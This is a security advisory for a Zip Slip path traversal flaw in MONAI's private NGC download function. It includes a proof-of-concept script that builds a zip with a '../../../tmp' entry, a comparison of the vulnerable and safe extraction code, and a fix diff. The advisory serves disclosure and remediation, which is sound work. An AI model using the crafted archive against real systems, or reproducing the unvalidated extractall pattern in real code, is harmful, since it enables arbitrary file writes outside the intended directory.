Vulnerability GHSA-9rg3-9pvr-6p27

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.